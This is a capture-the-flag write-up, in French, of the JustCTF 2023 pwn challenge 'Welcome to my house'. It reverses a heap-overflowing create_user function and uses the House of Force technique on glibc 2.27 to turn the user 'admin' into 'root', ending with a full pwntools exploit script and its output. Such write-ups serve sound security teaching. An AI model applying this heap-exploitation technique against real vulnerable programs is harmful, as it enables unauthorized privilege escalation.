JustCTF 2023 - Welcome to my house

Nov 02 2024 ctf, pwn

Découverte du challenge

file

1
2
› file house_patched                 
house_patched: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.27.so, for GNU/Linux 3.2.0, BuildID[sha1]=efb671ee78fcd896b0e79a07aa8cb08817475d31, not stripped

checksec

1
2
3
4
5
6
gef➤  checksec
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial

ldd

1
2
3
4
› ldd house_patched
linux-vdso.so.1 (0x000078f5573e8000)
libc.so.6 => ./libc.so.6 (0x000078f556c00000)
./ld-2.27.so => /usr/lib64/ld-linux-x86-64.so.2 (0x000078f5573ea000)

glibc version

1
libc 2.27

En lancant le challenge on a la possibilité de faire :

1
2
3
4
5
6
7
[!]	Welcome in my house!	[!]

Actual user: admin

1. Create user
2. Read flag
3. Exit

On ne peut lire le flag seulement si on est l’utilisateur root, ici nous sommes admin.

1
2
3
>>  2

[-] You have to be root to read flag!

La commande “Create user” va faire :

En reversant cette méthode, on comprend que le programme alloue des chunks pour chaque variable qu’il va nous demander.

Une partie intéressante ici : on contrôle la taille du chunk qui va être alloué pour l’espace disque.
De plus, le contenu de “password” est copié vers un chunk de taille 0x18 à la suite du chunk pour notre espace mémoire.
Pour finir, plusieurs heap overflow sont possibles.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int64_t create_user(){
void* fsbase
int64_t rax = *(fsbase + 0x28)
printf("Enter username: ")
int64_t ptr_username = malloc(0x19)
__isoc99_scanf(&data_400c29, ptr_username)
putchar(0xa)
strcpy(malloc(0x18), ptr_username)
printf("Enter password: ")
int64_t ptr_password = malloc(0x18)
__isoc99_scanf(&data_400c29, ptr_password)
putchar(0xa)
printf("Enter disk space: ")
putchar(0xa)
int64_t var_30
__isoc99_scanf(&data_400c50, &var_30)
malloc(var_30)
int64_t rax_12 = malloc(0x18)
strcpy(rax_12, ptr_password, rax_12)
int64_t rax_15 = rax ^ *(fsbase + 0x28)
if (rax_15 != 0)
rax_15 = __stack_chk_fail()
return rax_15
}

Idée : Est ce qu’on pourrait utiliser la technique house of force pour écraser le top chunk, combler le vide qu’il y a entre notre position sur la heap et notre target, puis écraser le contenu de la target par “root” ?

Alors c’est partie !

Pour commencer, on utiliser le heap overflow pour écraser le top chunk et y placer la taille maximum (0xFFFFFFFFFFFFFFFF)

vis
1
2
3
4
5
6
7
8
9

0x603000 0x0000000000000000 0x0000000000000251 ........Q.......
...
0x603250 0x0000000000000000 0x0000000000000021 ........!.......
0x603260 0x0000006e696d6461 0x0000000000000000 admin...........
0x603270 0x0000000000000000 0x0000000000000031 ........1.......
0x603280 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x603290 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x6032a0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA <-- Top chunk

Ensuite, on calcule la distance qui sépare notre notre variable target avec notre position actuelle dans la heap.
Notre binaire n’étant pas PIE, on trouve les adresses grâce à GDB.

1
2
3
4
5
6
target = 0x603250
heap = 0x603300

def delta(x,y):
return (0xffffffffffffffff - x) + y
dist = delta(heap, target+16)

Maintenant, on construit notre payload:

1
2
create_user(b"A"*0x18 + p64(-1, signed=True), b"root", dist)
read_flag()

Output

1
2
3
4
5
6
7
8
› python xpl.py
[+] Starting local process './house_patched': pid 602233
[*] Target: 0x603250
[*] Heap: 0x603300
[*] Dist: 0xffffffffffffff5f
FLAG{f4k3_fl4g_f0r_t3st1ng}

[*] Stopped process './house_patched' (pid 602233)

et voila !

Full exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='i386')
exe = './house_patched'

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)

# create user
def cu(username, password, size):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"username:", username)
io.sendlineafter(b"password:", password)
io.sendlineafter(b"space:", str(size).encode())

# read flag
def rf():
io.sendlineafter(b">> ", b"2")
io.recvline()
print(io.recvline().decode())

def delta(x,y):
return (0xffffffffffffffff - x) + y

gdbscript = '''
b create_user
'''.format(**locals())

target = 0x603250
heap = 0x603300
dist= delta(heap, target+16)

io = start()

info(f"Target: {hex(target)}")
info(f"Heap: {hex(heap)}")
info(f"Dist: {hex(dist)}")

cu(b"A"*0x18 + p64(-1, signed=True), b"root", dist)
rf()

heap exploitation, house of force